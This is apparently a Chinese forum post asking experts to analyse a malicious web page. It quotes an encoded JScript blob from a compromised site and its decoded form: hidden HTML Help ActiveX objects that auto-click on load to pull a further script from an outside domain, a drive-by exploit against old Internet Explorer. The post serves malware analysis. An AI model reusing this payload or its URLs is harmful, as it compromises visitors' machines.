http://qqcon.home4u.china.com/moon.htm

里面有一个文件

http://www.zjsru.cn/2005zsbbs/images/fo.htm

有以下代码

<script language = JScript.Encode>#@~^UwUAAA==[Km;s+    YRSDbO+vEU+kmC2`BufZ_KHdYf2u!G]TbYf;tnl9Y&A]T9u!bYf;z4+m[u&3u!G]!z]2/A}fe]22YTG]!zY&;Nk7Y+!kYHVn]f9u +Nbdw^lzY2bxGU]+ ufA]TG]Zb]2Z}$9AZP]y!r[u&fu+ 6F]y+Y!G]ZbOX2nu&9]y+lawsr1lYrG    zaOKsW8N+1Y]y uTfu!)m^lddbN]29]y m^drNu&zl[400ZlO9006Oqq10O1fFGR!ZCm!T24FlF8]y+]22Y!G]T)u&Zh)IzH]yTUls+u&9]++;Wh:mUNu +Yy!\Cs!+Y&GYy ]VmY+9]yTKKwrmk]+/u !t31`] yYf2u!G]TbYf;n)Iz\]y!UCs+]f9u +bU9WAu y] Z\msE]ffu +Yyco^G4mV{bWs]y u&3]T9u!)]2/nzI)\u !UCs+Y&GYy (D+sF]y u+!7lsE]f9u G1G:slx9YfA6k^+Y&)&JmY&zY*;(HGrjYlZu+^2u*/mwa/R1tsY F]f2u!9YZb]2/z}A9A/P]22u!9]T)u&/r~B2;KY+ZkNYfG]+ 6+u +u ZYXa+uffu +lawsr1lYbGxJ6OKsnW(LmO]++u Tm^C/kk[Y2f]++1Vdk9Y2bC94R%!mv [%60RF8mWRO&GFR!ZllZTf4Fl8FY +Y22Y!GY!z]f/hbI)\u Txmh]fG]y ZK:sCx9]+ u T-mVEY&G] y]nVmYNY TPKwrmkY ;]+Tt21iYy Y&AYZfYZbu&Zhb")Hu Txm:nY2f]y+bxNKAY y]y!-ls;]ffu+ u *L^W4Cs|kWVu+y]fA]Zf]ZbufZhb]bt]+T    l:Y&G] y(O+sFu +]+T7lsEY&G]+{1W:hC    NY&~%m\CkmMkwD]2)+7ls]y%Y+yNW1;:xYcA.kD+u 0]X/u +]2/?;I(K:] TsmxLEmL]+l Z] l&GY l T9Um.raYRAUmKN+u+T]y!kD^]f9u*/]l/]lZY+ytYO2u&)zJASh .LkDEcm    & Z!Xyk48dJk:mL+kzm     %/u*;]XZYX;]+ uXZu +QUYDrUTRWDKh;tCMZKN+u R u 1_u*/Yy ]2/zUZIuX/]y 3]XZY+yqKKuXZu +QUYDrUTRWDKh;tCMZKN+u R u 1]y,Y+y] OY F]&AYTfu!z]fZ&6~93Z:Y&A]T9u!bYf;z[k7Y22YZfu!bu&;dmMk2Yu&3YZf]Z)08RZ^r^3u R]+,Yf~/nY:r:W;Ou %Y+y0+R;sbmVu R] O]2$]y Y ;!Y+O]&~Y!G]!zYfZJ/1DrwOY22Y!GY!z]f/JAr9eu&3]Z9u!)u&;zC:HdY&ABb#pTnYBAA==^#~@</script>

解密后是

document.write(unescape('%3CHTML%3E%0D%0A%3Chead%3E%0D%0A%3C/head%3E%0D%0A%3CBODY%3E%0D%0A%3Cdiv%20style%3D%22display%3Anone%22%3E%0D%0A%3COBJECT%20id%3D%22f1%22%0D%0Atype%3D%22application/x-oleobject%22%0D%0Aclassid%3D%22clsid%3Aadb880a6-d8ff-11cf-9377-00aa003b7a11%22%3E%0D%0A%3CPARAM%20name%3D%22Command%22%20value%3D%22Related%20Topics%2C%20MENU%22%3E%0D%0A%3CPARAM%20name%3D%22Window%22%20value%3D%22%24global_ifl%22%3E%0D%0A%3CPARAM%20name%3D%22Item1%22%20value%3D%27command%3Bfile%3A//c%3A%5CWINDOWS%5CHelp%5Capps.chm%27%3E%0D%0A%3C/OBJECT%3E%0D%0A%3COBJECT%20id%3D%22f2%22%20typex-oleobject%22%20classid%3D%22clsid%3Aadb880a6-d8ff-11cf-9377-00aa003b7a11%22%3E%0D%0A%3CPARAM%20name%3D%22Command%22%20value%3D%22Related%20Topics%2C%20MENU%22%3E%0D%0A%3CPARAM%20name%3D%22Window%22%20value%3D%22%24global_ifl%22%3E%0D%0A%3CPARAM%20name%3D%22Item1%22%20value%3D%27command%3Bjavascript%3Aeval%28%22document.write%28%5C%22%3CSCRIPT%20language%2520%253D%2520JScript.Encode%20%20src%3D%5C%5C%5C%22http%3A//www.zjsru.cn/2005zsbbs/images/cn.js%5C%5C%5C%22%5C%22+String.fromCharCode%2862%29+%5C%22%3C/SCR%5C%22+%5C%22IPT%5C%22+String.fromCharCode%2862%29%29%22%29%27%3E%0D%0A%3C/OBJECT%3E%0D%0A%3C/div%3E%0D%0A%3Cscript%3E%0D%0Af1.Click%28%29%3BsetTimeout%28%22f2.Click%28%29%3B%22%2C0%29%3B%0D%0A%3C/script%3E%0D%0A%3C/BODY%3E%0D%0A%3C/HTML%3E%3D%22application/'));


还有一个JS

http://www.zjsru.cn/2005zsbbs/images/cn.js

请高手分析